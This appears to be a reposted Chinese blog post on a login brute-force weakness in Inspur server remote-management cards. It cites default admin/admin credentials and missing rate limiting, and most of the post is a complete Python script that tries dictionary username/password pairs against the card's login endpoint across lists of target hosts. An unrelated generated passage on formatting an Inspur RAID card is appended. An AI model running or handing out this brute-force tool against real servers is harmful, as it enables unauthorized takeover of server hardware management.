浪潮远控卡的登录爆破漏洞

一、浪潮远控卡简介

浪潮远控卡是一款插在服务器上的,方便运维人员和服务器管理人员对服务器进行远程控制的WEB服务,其在80端口对外提供HTTP服务。登录进去以后可以对服务器硬件进行远程控制和管理。例如CPU、内存等性能指标监控,远程开启关闭服务器上的虚拟机,甚至作为控制虚拟主机的跳板机。

二、浪潮远控卡的漏洞:

浪潮远控卡可以尝试使用admin/admin进行登录尝试,很有可能可以进去。另外浪潮远控卡登录没有验证码,没有频率测试限制,可以轻松使用burpsuite进行登录爆破尝试。

然后就可以登录了,当然写爆破脚本。设置好报文头,直接发起请求POST请求就可以。

  1 #!/usr/bin/env python
  2 # -*- coding:utf-8 -*-
  3 
  4 #import lib files
  5 import os
  6 import sys
  7 import logging
  8 import requests
  9 from optparse import OptionParser
 10 
 11 #global configuration set
 12 reload(sys)
 13 sys.setdefaultencoding("utf-8")
 14 logging.basicConfig(format='%(asctime)s-%(message)s',datefmt='%Y-%m-%d %H:%M:%S %p',level=logging.INFO)
 15 
 16 #global varites defines
 17 HEADER = {
 18     "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0",
 19     "Accept":"application/json, text/plain, */*",
 20     "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
 21     "Accept-Encoding":"gzip, deflate",
 22     "Content-Type":"application/json;charset=utf-8"
 23 }
 24 SUCCESS_FLAG = "SESSION_COOKIE"
 25 USERNAME_LIST = ["admin"]
 26 PASSWORD_LIST = ["admin"]
 27 
 28 #global functions defines
 29 def config_read_from_file(userfile,pswdfile):
 30     global USERNAME_LIST
 31     global PASSWORD_LIST
 32     logging.info("[+] Read Configuration From File ...")
 33     try:
 34         with open(userfile,"r") as fr:
 35             for line in fr.readlines():
 36                 line = line.split("\n")[0].split("\r")[0]
 37                 USERNAME_LIST.append(line)
 38     except Exception,ex:
 39         logstr = "[-] Configuration Read From File Failed! Reason:%s"%str(ex)
 40         logging.error(logstr)
 41         logging.info("[+] Use Default Dict!")
 42     try:
 43         with open(pswdfile,"r") as fr:
 44             for line in fr.readlines():
 45                 line = line.split("\n")[0].split("\r")[0]
 46                 PASSWORD_LIST.append(line)
 47     except Exception,ex:
 48         logstr = "[-] Configuration Read From File Failed! Reason:%s"%str(ex)
 49         logging.error(logstr)
 50         logging.info("[+] Use Default Dict!")
 51     return 0
 52 
 53 def login_packet_send(target,username,password):
 54     login_data = {"WEBVAR_USERNAME":username,"WEBVAR_PASSWORD":password}
 55     try:
 56         response = requests.post("http://%s/rpc/WEBSES/create.asp"%str(target),headers=HEADER,data=login_data,timeout=5)
 57     except Exception,ex:
 58         logstr = "[-] Connect Failed Reason:%s"%str(ex)
 59         logging.error(logstr)
 60         return -1
 61     if response.status_code != 200:
 62         return -1
 63     else:
 64         return response.content
 65 
 66 def vuln_check(content):
 67     if content.find(SUCCESS_FLAG) >= 0 and content.find("Failure_Login_IPMI_Then_LDAP_then_Active_Directory_Radius") < 0:
 68         return 0
 69     else:
 70         return -1
 71 
 72 def crack(target,username,password):
 73     content = login_packet_send(target,username,password)
 74     if content != -1:
 75         if vuln_check(content) == 0:
 76             logging.info("[*] Crack %s Success! Username:%s,Password:%s"%(str(target),str(username),str(password)))
 77             return 0
 78     return -1
 79 
 80 def scan(target,targettype):
 81     targetlist = []
 82     if targettype == 1:
 83         try:
 84             with open(target,"r") as fr:
 85                 for line in fr.readlines():
 86                     line = line.split("\n")[0].split("\r")[0].replace(" ","")
 87                     targetlist.append(line)
 88         except Exception,ex:
 89             pass
 90     else:
 91         targetlist = [target]
 92     if len(target) > 0:
 93         for item in targetlist:
 94             for user in USERNAME_LIST:
 95                 for pswd in PASSWORD_LIST:
 96                     crack(item,user,pswd)
 97 
 98 #main function -- programme
 99 if __name__ == "__main__": 
100     parser = OptionParser()
101     parser.add_option("-t", "--target", dest="target",help="target to check")
102     parser.add_option("-f", "--filename", dest="targetfile",help="targetfiel to check")
103     parser.add_option("-u", "--userfile", dest="userfile",help="username dict")
104     parser.add_option("-p", "--pswdfile", dest="pswdfile",help="password dict")
105     (options, args) = parser.parse_args()
106     config_read_from_file(options.userfile,options.pswdfile)
107     if options.target not in ["",None," "]:
108         scan(options.target,0)
109     elif options.targetfile not in ["",None," "]:
110         scan(options.targetfile,1)

 

转载于:https://www.cnblogs.com/KevinGeorge/p/8358456.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
浪潮直通是一种电脑硬件设备,而RAID是一种存储技术。当浪潮直通需要格式化时,意味着我们需要对其进行一种操作,将其存储的数据进行重新组织和清除。 格式化浪潮直通是一种重置该设备的方法,用来清除其中的数据并重新初始化。这样可以确保在将来使用该时,存储在其中的数据不会对新数据产生干扰。同时,格式化也能够修复任何可能出现的错误或损坏,使浪潮直通恢复到最初的状态。 为了格式化浪潮直通,我们需要在计算机上执行一些操作。首先,要确保先备份存储在直通上的重要数据,因为格式化将会彻底清除该上的所有内容。其次,需访问计算机的磁盘管理工具,找到直通所对应的磁盘。 在磁盘管理工具中,我们可以找到直通并选择执行格式化操作。格式化的过程会删除上的所有数据,并重新建立文件系统。可以选择不同的格式化选项,例如快速格式化或完全格式化,具体取决于需求和时间限制。完成格式化后,直通将重新变为空白状态,可以重新使用。 需要注意的是,在进行任何格式化操作之前,请务必确认备份重要数据,并确保不会误删除或清除任何需要保留的文件。此外,了解直通的具体规格和使用手册也是非常重要的,在操作之前请仔细了解设备的操作步骤和注意事项。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值